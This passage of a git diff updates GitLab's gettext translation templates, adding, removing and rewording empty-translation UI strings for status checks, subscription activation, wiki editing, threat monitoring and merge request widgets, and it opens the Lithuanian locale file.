+msgid "Select a shared template repository for all projects on this instance."
+msgstr ""
+
msgid "Select a template repository"
msgstr ""
@@ -29083,6 +29609,9 @@ msgstr ""
msgid "Serverless domain"
msgstr ""
+msgid "Serverless platform"
+msgstr ""
+
msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
msgstr ""
@@ -29236,9 +29765,6 @@ msgstr ""
msgid "Set due date"
msgstr ""
-msgid "Set instance-wide template repository"
-msgstr ""
-
msgid "Set iteration"
msgstr ""
@@ -29473,9 +29999,6 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
-msgid "Shared runners disabled on group level"
-msgstr ""
-
msgid "Shared runners help link"
msgstr ""
@@ -29714,6 +30237,12 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr ""
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the GitLab %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
msgstr ""
@@ -29807,6 +30336,9 @@ msgstr ""
msgid "SlackService|This service allows users to perform common operations on this project by entering slash commands in Slack."
msgstr ""
+msgid "Slice multiplier"
+msgstr ""
+
msgid "Smartcard"
msgstr ""
@@ -30044,6 +30576,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} confidentiality."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} notifications."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -30350,6 +30885,9 @@ msgstr ""
msgid "Speed up your pipelines with Needs relationships"
msgstr ""
+msgid "Spent At"
+msgstr ""
+
msgid "Squash commit message"
msgstr ""
@@ -30365,10 +30903,13 @@ msgstr ""
msgid "Stage"
msgstr ""
-msgid "Stage data updated"
+msgid "StageName|Build"
+msgstr ""
+
+msgid "StageName|Deploy"
msgstr ""
-msgid "Stage removed"
+msgid "StageName|Test"
msgstr ""
msgid "Standard"
@@ -30590,18 +31131,57 @@ msgstr ""
msgid "StatusCheck|API to check"
msgstr ""
+msgid "StatusCheck|Add status check"
+msgstr ""
+
+msgid "StatusCheck|An error occurred deleting the %{name} status check."
+msgstr ""
+
+msgid "StatusCheck|An error occurred fetching the status checks."
+msgstr ""
+
+msgid "StatusCheck|Apply this status check to any branch or a specific protected branch."
+msgstr ""
+
+msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgstr ""
+
+msgid "StatusCheck|Examples: QA, Security."
+msgstr ""
+
+msgid "StatusCheck|External API is already in use by another status check."
+msgstr ""
+
msgid "StatusCheck|Invoke an external API as part of the approvals"
msgstr ""
+msgid "StatusCheck|Invoke an external API as part of the pipeline process."
+msgstr ""
+
+msgid "StatusCheck|No status checks are defined yet."
+msgstr ""
+
msgid "StatusCheck|Remove status check"
msgstr ""
msgid "StatusCheck|Remove status check?"
msgstr ""
+msgid "StatusCheck|Service name"
+msgstr ""
+
+msgid "StatusCheck|Status checks"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
+msgid "StatusCheck|Target branch"
+msgstr ""
+
+msgid "StatusCheck|Update status check"
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -30635,9 +31215,6 @@ msgstr ""
msgid "StatusPage|Status page URL"
msgstr ""
-msgid "StatusPage|Status page frontend documentation"
-msgstr ""
-
msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
@@ -30692,6 +31269,9 @@ msgstr ""
msgid "StorageSize|Unknown"
msgstr ""
+msgid "Subgroup information"
+msgstr ""
+
msgid "Subgroup milestone"
msgstr ""
@@ -30797,6 +31377,9 @@ msgstr ""
msgid "Subscription deletion failed."
msgstr ""
+msgid "Subscription service outage"
+msgstr ""
+
msgid "Subscription successfully applied to \"%{group_name}\""
msgstr ""
@@ -30908,6 +31491,9 @@ msgstr ""
msgid "Successfully approved"
msgstr ""
+msgid "Successfully banned"
+msgstr ""
+
msgid "Successfully blocked"
msgstr ""
@@ -30932,6 +31518,9 @@ msgstr ""
msgid "Successfully synced %{synced_timeago}."
msgstr ""
+msgid "Successfully unbanned"
+msgstr ""
+
msgid "Successfully unblocked"
msgstr ""
@@ -31043,42 +31632,93 @@ msgstr ""
msgid "Sunday"
msgstr ""
+msgid "SuperSonics|Activate"
+msgstr ""
+
+msgid "SuperSonics|Activate subscription"
+msgstr ""
+
msgid "SuperSonics|Activated on"
msgstr ""
+msgid "SuperSonics|Activation code"
+msgstr ""
+
+msgid "SuperSonics|An error occurred while activating your subscription."
+msgstr ""
+
+msgid "SuperSonics|Billable users"
+msgstr ""
+
+msgid "SuperSonics|Buy subscription"
+msgstr ""
+
+msgid "SuperSonics|Enter activation code"
+msgstr ""
+
msgid "SuperSonics|Expires on"
msgstr ""
+msgid "SuperSonics|Free trial"
+msgstr ""
+
+msgid "SuperSonics|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
+msgstr ""
+
+msgid "SuperSonics|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
+msgstr ""
+
msgid "SuperSonics|ID"
msgstr ""
msgid "SuperSonics|Last Sync"
msgstr ""
+msgid "SuperSonics|Learn how to %{linkStart}activate your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|Licensed to"
msgstr ""
msgid "SuperSonics|Manage"
msgstr ""
+msgid "SuperSonics|Maximum users"
+msgstr ""
+
+msgid "SuperSonics|Paste your activation code"
+msgstr ""
+
msgid "SuperSonics|Plan"
msgstr ""
+msgid "SuperSonics|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
+msgstr ""
+
msgid "SuperSonics|Renews"
msgstr ""
msgid "SuperSonics|Seats"
msgstr ""
+msgid "SuperSonics|Start free trial"
+msgstr ""
+
msgid "SuperSonics|Started"
msgstr ""
+msgid "SuperSonics|Subscription"
+msgstr ""
+
msgid "SuperSonics|Subscription details"
msgstr ""
msgid "SuperSonics|Sync subscription details"
msgstr ""
+msgid "SuperSonics|The activation code is not valid. Please make sure to copy it exactly from the Customers Portal or confirmation email. Learn more about %{linkStart}activating your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|The subscription details synced successfully."
msgstr ""
@@ -31088,18 +31728,48 @@ msgstr ""
msgid "SuperSonics|This field is required."
msgstr ""
+msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
+msgstr ""
+
+msgid "SuperSonics|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgstr ""
+
+msgid "SuperSonics|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Licensing%{linkEnd} service, a hassle-free way to manage your subscription."
+msgstr ""
+
msgid "SuperSonics|Type"
msgstr ""
+msgid "SuperSonics|Upload a legacy license"
+msgstr ""
+
+msgid "SuperSonics|Users in subscription"
+msgstr ""
+
+msgid "SuperSonics|Users over subscription"
+msgstr ""
+
+msgid "SuperSonics|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "SuperSonics|Valid From"
msgstr ""
+msgid "SuperSonics|You can learn more about %{activationLinkStart}activating your subscription%{activationLinkEnd}. If you need further assistance, please %{supportLinkStart}contact GitLab Support%{supportLinkEnd}."
+msgstr ""
+
msgid "SuperSonics|You can no longer sync your subscription details with GitLab. Get help for the most common connectivity issues by %{connectivityHelpLinkStart}troubleshooting the activation code%{connectivityHelpLinkEnd}."
msgstr ""
+msgid "SuperSonics|You can start a free trial of GitLab Ultimate without any obligation or payment details."
+msgstr ""
+
msgid "SuperSonics|You do not have an active subscription"
msgstr ""
+msgid "SuperSonics|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "SuperSonics|Your subscription"
msgstr ""
@@ -31118,6 +31788,9 @@ msgstr ""
msgid "Survey Response"
msgstr ""
+msgid "Switch Branch"
+msgstr ""
+
msgid "Switch branch/tag"
msgstr ""
@@ -31340,6 +32013,9 @@ msgstr ""
msgid "Template to append to all Service Desk issues"
msgstr ""
+msgid "TemplateRepository|Select a repository to make its templates available to all projects. %{link_start}What should the repository contain?%{link_end} "
+msgstr ""
+
msgid "Templates"
msgstr ""
@@ -31494,9 +32170,6 @@ msgstr ""
msgid "Test Cases"
msgstr ""
-msgid "Test cases are not available for this project"
-msgstr ""
-
msgid "Test coverage parsing"
msgstr ""
@@ -31636,6 +32309,9 @@ msgstr ""
msgid "Tests"
msgstr ""
+msgid "Text style"
+msgstr ""
+
msgid "Thank you for signing up for your free trial! You will get additional instructions in your inbox shortly."
msgstr ""
@@ -31666,7 +32342,7 @@ msgstr ""
msgid "The \"%{group_path}\" group allows you to sign in with your Single Sign-On Account"
msgstr ""
-msgid "The \"Require approval from CODEOWNERS\" setting was moved to %{banner_link_start}Protected Branches%{banner_link_end}"
+msgid "The %{featureName} feature is part of your GitLab Ultimate trial."
msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
@@ -31689,6 +32365,9 @@ msgstr ""
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
+msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
+msgstr ""
+
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
@@ -31880,6 +32559,9 @@ msgstr ""
msgid "The interval must be one of %{intervals}."
msgstr ""
+msgid "The invitation can not be found with the provided invite token."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr ""
@@ -31925,6 +32607,9 @@ msgstr ""
msgid "The maximum file size is %{size}."
msgstr ""
+msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -31943,9 +32628,6 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
-msgid "The merge request has made changes to this file that affect the number of code quality violations in it."
-msgstr ""
-
msgid "The metric must be one of %{metrics}."
msgstr ""
@@ -32249,9 +32931,6 @@ msgstr ""
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
-msgid "There is a connectivity issue"
-msgstr ""
-
msgid "There is a halted Elasticsearch migration"
msgstr ""
@@ -32318,12 +32997,6 @@ msgstr ""
msgid "There was a problem fetching users."
msgstr ""
-msgid "There was a problem refreshing the data, please try again"
-msgstr ""
-
-msgid "There was a problem saving your custom stage, please try again"
-msgstr ""
-
msgid "There was a problem sending the confirmation email"
msgstr ""
@@ -32351,6 +33024,9 @@ msgstr ""
msgid "There was an error fetching configuration for charts"
msgstr ""
+msgid "There was an error fetching content, please refresh the page"
+msgstr ""
+
msgid "There was an error fetching data for the selected stage"
msgstr ""
@@ -32414,9 +33090,6 @@ msgstr ""
msgid "There was an error removing the e-mail."
msgstr ""
-msgid "There was an error removing your custom stage, please try again"
-msgstr ""
-
msgid "There was an error resetting group pipeline minutes."
msgstr ""
@@ -32459,9 +33132,6 @@ msgstr ""
msgid "There was an error updating the dashboard, branch named: %{branch} already exists."
msgstr ""
-msgid "There was an error updating the stage order. Please try reloading the page."
-msgstr ""
-
msgid "There was an error when reseting email token."
msgstr ""
@@ -32585,7 +33255,10 @@ msgstr ""
msgid "This also resolves this thread"
msgstr ""
-msgid "This application was created by %{link_to_owner}."
+msgid "This application was created by %{user_link}."
+msgstr ""
+
+msgid "This application was created for group %{group_link}."
msgstr ""
msgid "This application will be able to:"
@@ -32687,9 +33360,6 @@ msgstr ""
msgid "This feature requires local storage to be enabled"
msgstr ""
-msgid "This feature should be used with an index that was created after 13.0"
-msgstr ""
-
msgid "This field is required."
msgstr ""
@@ -33023,6 +33693,9 @@ msgstr ""
msgid "This user has the %{access} role in the %{name} project."
msgstr ""
+msgid "This user is banned"
+msgstr ""
+
msgid "This user is blocked"
msgstr ""
@@ -33065,9 +33738,6 @@ msgstr ""
msgid "ThreatMonitoring|Anomalous Requests"
msgstr ""
-msgid "ThreatMonitoring|Application firewall not detected"
-msgstr ""
-
msgid "ThreatMonitoring|Container Network Policies are not installed or have been disabled. To view this data, ensure your Network Policies are installed and enabled for your cluster."
msgstr ""
@@ -33092,6 +33762,9 @@ msgstr ""
msgid "ThreatMonitoring|Events"
msgstr ""
+msgid "ThreatMonitoring|Failed to create incident, please try again."
+msgstr ""
+
msgid "ThreatMonitoring|Hide dismissed alerts"
msgstr ""
@@ -33143,9 +33816,6 @@ msgstr ""
msgid "ThreatMonitoring|Status"
msgstr ""
-msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -33176,12 +33846,6 @@ msgstr ""
msgid "ThreatMonitoring|View documentation"
msgstr ""
-msgid "ThreatMonitoring|Web Application Firewall"
-msgstr ""
-
-msgid "ThreatMonitoring|While it's rare to have no traffic coming to your application, it can happen. In any event, we ask that you double check your settings to make sure you've set up the WAF correctly."
-msgstr ""
-
msgid "Throughput"
msgstr ""
@@ -33191,6 +33855,9 @@ msgstr ""
msgid "Time"
msgstr ""
+msgid "Time Spent"
+msgstr ""
+
msgid "Time based: Yes"
msgstr ""
@@ -33242,6 +33909,9 @@ msgstr ""
msgid "Time tracking"
msgstr ""
+msgid "Time tracking report"
+msgstr ""
+
msgid "Time until first merge request"
msgstr ""
@@ -33417,9 +34087,6 @@ msgstr[1] ""
msgid "Time|s"
msgstr ""
-msgid "Tip:"
-msgstr ""
-
msgid "Tip: Hover over a job to see the jobs it depends on to run."
msgstr ""
@@ -33534,9 +34201,6 @@ msgstr ""
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
-msgstr ""
-
msgid "To pass variables to the triggered pipeline, add %{code_start}variables[VARIABLE]=VALUE%{code_end} to the API request."
msgstr ""
@@ -33654,13 +34318,13 @@ msgstr ""
msgid "Toggle project select"
msgstr ""
-msgid "Toggle sidebar"
+msgid "Toggle shortcuts"
msgstr ""
-msgid "Toggle the Performance Bar"
+msgid "Toggle sidebar"
msgstr ""
-msgid "Toggle this dialog"
+msgid "Toggle the Performance Bar"
msgstr ""
msgid "Toggle thread"
@@ -33690,9 +34354,6 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
-msgid "Too much data"
-msgstr ""
-
msgid "Topics (optional)"
msgstr ""
@@ -33890,6 +34551,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgstr ""
+
msgid "Trigger manual job"
msgstr ""
@@ -34115,6 +34779,9 @@ msgstr ""
msgid "Unable to fetch branch list for this project."
msgstr ""
+msgid "Unable to fetch branches list, please close the form and try again"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -34358,6 +35025,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused"
+msgstr ""
+
msgid "Unused, previous indices: %{index_names} will be deleted after %{time} automatically."
msgstr ""
@@ -34517,6 +35187,9 @@ msgstr ""
msgid "Upload file"
msgstr ""
+msgid "Upload license"
+msgstr ""
+
msgid "Upload object map"
msgstr ""
@@ -34838,6 +35511,9 @@ msgstr ""
msgid "Use your smart card to authenticate with the LDAP server."
msgstr ""
+msgid "Used"
+msgstr ""
+
msgid "Used by members to sign in to your group in GitLab"
msgstr ""
@@ -34847,6 +35523,9 @@ msgstr ""
msgid "Used programming language"
msgstr ""
+msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Used to help configure your identity provider"
msgstr ""
@@ -34955,27 +35634,45 @@ msgstr ""
msgid "UserLists|Feature flag user list"
msgstr ""
+msgid "UserLists|Get started with user lists"
+msgstr ""
+
msgid "UserLists|Lists allow you to define a set of users to be used with feature flags. %{linkStart}Read more about feature flag lists.%{linkEnd}"
msgstr ""
+msgid "UserLists|Loading user lists"
+msgstr ""
+
msgid "UserLists|Name"
msgstr ""
msgid "UserLists|New list"
msgstr ""
+msgid "UserLists|New user list"
+msgstr ""
+
msgid "UserLists|Save"
msgstr ""
msgid "UserLists|There are no users"
msgstr ""
+msgid "UserLists|There was an error fetching the user lists."
+msgstr ""
+
msgid "UserLists|User ID"
msgstr ""
msgid "UserLists|User IDs"
msgstr ""
+msgid "UserLists|User Lists"
+msgstr ""
+
+msgid "UserLists|User lists allow you to define a set of users to use with Feature Flags."
+msgstr ""
+
msgid "UserList|Delete %{name}?"
msgstr ""
@@ -35108,6 +35805,9 @@ msgstr ""
msgid "UserProfile|made a private contribution"
msgstr ""
+msgid "Username (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Username (optional)"
msgstr ""
@@ -35129,6 +35829,9 @@ msgstr ""
msgid "Users"
msgstr ""
+msgid "Users can launch a development environment from a GitLab browser tab when the %{linkStart}Gitpod%{linkEnd} integration is enabled."
+msgstr ""
+
msgid "Users in License"
msgstr ""
@@ -35240,6 +35943,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Total number of deploys to production."
msgstr ""
+msgid "ValueStreamEvent|Items in stage"
+msgstr ""
+
msgid "ValueStreamEvent|Stage time (median)"
msgstr ""
@@ -35805,15 +36511,15 @@ msgstr ""
msgid "We don't have enough data to show this stage."
msgstr ""
-msgid "We encountered an error and our team has been notified. Please try again."
-msgstr ""
-
msgid "We have found the following errors:"
msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
+msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgstr ""
+
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
msgstr ""
@@ -35853,9 +36559,6 @@ msgstr ""
msgid "We've found no vulnerabilities"
msgstr ""
-msgid "Web Application Firewall"
-msgstr ""
-
msgid "Web IDE"
msgstr ""
@@ -35883,16 +36586,16 @@ msgstr ""
msgid "WebIDE|This project does not accept unsigned commits."
msgstr ""
-msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgid "WebIDE|This project does not accept unsigned commits. You can’t commit changes through the Web IDE."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project."
+msgid "WebIDE|You can’t edit files directly in this project. Fork this project and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
+msgid "WebIDE|You can’t edit files directly in this project. Go to your fork and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebexTeamsService|Send notifications about project events to Webex Teams."
@@ -35925,9 +36628,6 @@ msgstr ""
msgid "Webhooks allow you to trigger a URL if, for example, new code is pushed or a new issue is created. You can configure webhooks to listen for specific events like pushes, issues or merge requests. Group webhooks will apply to all projects in a group, allowing you to standardize webhook functionality across your entire group."
msgstr ""
-msgid "Webhooks have moved. They can now be found under the Settings menu."
-msgstr ""
-
msgid "Webhooks|Comments"
msgstr ""
@@ -36170,6 +36870,9 @@ msgstr ""
msgid "Who will be using this GitLab trial?"
msgstr ""
+msgid "Why are you signing up? (Optional)"
+msgstr ""
+
msgid "Wiki"
msgstr ""
@@ -36278,6 +36981,12 @@ msgstr ""
msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
+msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
+msgstr ""
+
+msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgstr ""
+
msgid "WikiPage|Cancel"
msgstr ""
@@ -36296,12 +37005,18 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Keep editing"
+msgstr ""
+
msgid "WikiPage|More Information."
msgstr ""
msgid "WikiPage|Page title"
msgstr ""
+msgid "WikiPage|Retry"
+msgstr ""
+
msgid "WikiPage|Save changes"
msgstr ""
@@ -36311,6 +37026,12 @@ msgstr ""
msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
msgstr ""
+msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgstr ""
+
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgstr ""
+
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
msgstr ""
@@ -36332,9 +37053,6 @@ msgstr ""
msgid "WikiPage|Write your content or drag files here…"
msgstr ""
-msgid "WikiPage|You are editing this page with Content Editor. This editor is in beta and may not display the page's contents properly."
-msgstr ""
-
msgid "Wikis"
msgstr ""
@@ -36503,6 +37221,9 @@ msgstr ""
msgid "You are not allowed to approve a user"
msgstr ""
+msgid "You are not allowed to log in using password"
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -36707,6 +37428,9 @@ msgstr ""
msgid "You cannot write to this read-only GitLab instance."
msgstr ""
+msgid "You can’t %{tag_start}edit%{tag_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "You could not create a new trigger."
msgstr ""
@@ -36818,9 +37542,15 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an escalation policy for this project"
+msgstr ""
+
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
+msgid "You have insufficient permissions to remove an escalation policy from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -37103,10 +37833,10 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon:"
+msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
-msgid "Your SSH keys with the following fingerprints has expired:"
+msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
msgid "Your To-Do List"
@@ -37145,6 +37875,9 @@ msgstr ""
msgid "Your authorized applications"
msgstr ""
+msgid "Your browser does not support iFrames"
+msgstr ""
+
msgid "Your browser doesn't support U2F. Please use Google Chrome desktop (version 41 or newer)."
msgstr ""
@@ -37175,9 +37908,6 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
-msgid "Your custom stage '%{title}' was created"
-msgstr ""
-
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
@@ -37375,9 +38105,6 @@ msgstr ""
msgid "already shared with this group"
msgstr ""
-msgid "among other things"
-msgstr ""
-
msgid "and"
msgstr ""
@@ -37713,6 +38440,45 @@ msgstr ""
msgid "closed issue"
msgstr ""
+msgid "codeQualityWalkthrough|A code quality job will now run every time you or your team members commit changes to your project. You can view the results of the code quality job in the job logs."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Congrats! Your first pipeline is running %{emojiStart}zap%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Got it"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Let's start by creating a new CI file."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Not sure how to fix your failed job? We have compiled some tips on how to troubleshoot code quality jobs in the documentation."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Read the documentation"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Something went wrong. %{emojiStart}thinking%{emojiEnd} Let's fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|To begin with code quality, we first need to create a new CI file using our code editor. We added a code quality template in the code editor to help you get started %{emojiStart}wink%{emojiEnd} .%{lineBreak}Take some time to review the template, when you are ready, use the %{strongStart}commit changes%{strongEnd} button at the bottom of the page."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Troubleshoot your code quality job"
+msgstr ""
+
+msgid "codeQualityWalkthrough|View the logs"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Well done! You've just automated your code quality review. %{emojiStart}raised_hands%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your job failed. No worries - this happens. Let's view the logs, and see how we can fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your pipeline can take a few minutes to run. If you enabled email notifications, you'll receive an email with your pipeline status. In the meantime, why don't you get some coffee? You earned it!"
+msgstr ""
+
msgid "collect usage information"
msgstr ""
@@ -37954,6 +38720,9 @@ msgstr ""
msgid "https://your-bitbucket-server"
msgstr ""
+msgid "i18n|%{language} (%{percent_translated}%% translated)"
+msgstr ""
+
msgid "image diff"
msgstr ""
@@ -38031,7 +38800,7 @@ msgstr ""
msgid "is not valid. The iteration group has to match the iteration cadence group."
msgstr ""
-msgid "is read only"
+msgid "is read-only"
msgstr ""
msgid "is too long (%{current_value}). The maximum size is %{max_size}."
@@ -38132,6 +38901,9 @@ msgid_plural "merge requests"
msgstr[0] ""
msgstr[1] ""
+msgid "merge request approvals"
+msgstr ""
+
msgid "merged %{timeAgo}"
msgstr ""
@@ -38192,9 +38964,6 @@ msgstr ""
msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
msgstr ""
-msgid "mrWidget|Allows commits from members who can merge to the target branch"
-msgstr ""
-
msgid "mrWidget|An error occurred while removing your approval."
msgstr ""
@@ -38222,10 +38991,7 @@ msgstr ""
msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
msgstr ""
-msgid "mrWidget|Before this can be merged, one or more threads must be resolved."
-msgstr ""
-
-msgid "mrWidget|Cancel automatic merge"
+msgid "mrWidget|Cancel"
msgstr ""
msgid "mrWidget|Check out branch"
@@ -38267,9 +39033,6 @@ msgstr ""
msgid "mrWidget|Fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
-msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -38285,12 +39048,18 @@ msgstr ""
msgid "mrWidget|Mark as ready"
msgstr ""
+msgid "mrWidget|Members who can merge are allowed to add commits."
+msgstr ""
+
msgid "mrWidget|Mentions"
msgstr ""
msgid "mrWidget|Merge"
msgstr ""
+msgid "mrWidget|Merge blocked: all threads must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
@@ -38694,6 +39463,12 @@ msgstr ""
msgid "satisfied"
msgstr ""
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is invalid"
+msgstr ""
+
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is missing"
+msgstr ""
+
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -38817,6 +39592,9 @@ msgstr ""
msgid "the wiki"
msgstr ""
+msgid "then"
+msgstr ""
+
msgid "this document"
msgstr ""
diff --git a/locale/lt_LT/gitlab.po b/locale/lt_LT/gitlab.po
index 23c1cd86b59..11a1c6c1ab0 100644
--- a/locale/lt_LT/gitlab.po
+++ b/locale/lt_LT/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: lt\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-05-03 22:23\n"
+"PO-Revision-Date: 2021-06-01 20:43\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
@@ -341,6 +341,13 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "%d item"
+msgid_plural "%d items"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] ""
@@ -685,9 +692,6 @@ msgstr ""
msgid "%{global_id} is not a valid ID for %{expected_types}."
msgstr ""
-msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
-msgstr ""
-
msgid "%{group_name} activity"
msgstr ""
@@ -790,10 +794,10 @@ msgstr ""
msgid "%{link_start}Read more%{link_end} about role permissions"
msgstr ""
-msgid "%{link_start}Remove the %{draft_or_wip_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
+msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet} or %{wip_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
@@ -936,6 +940,12 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
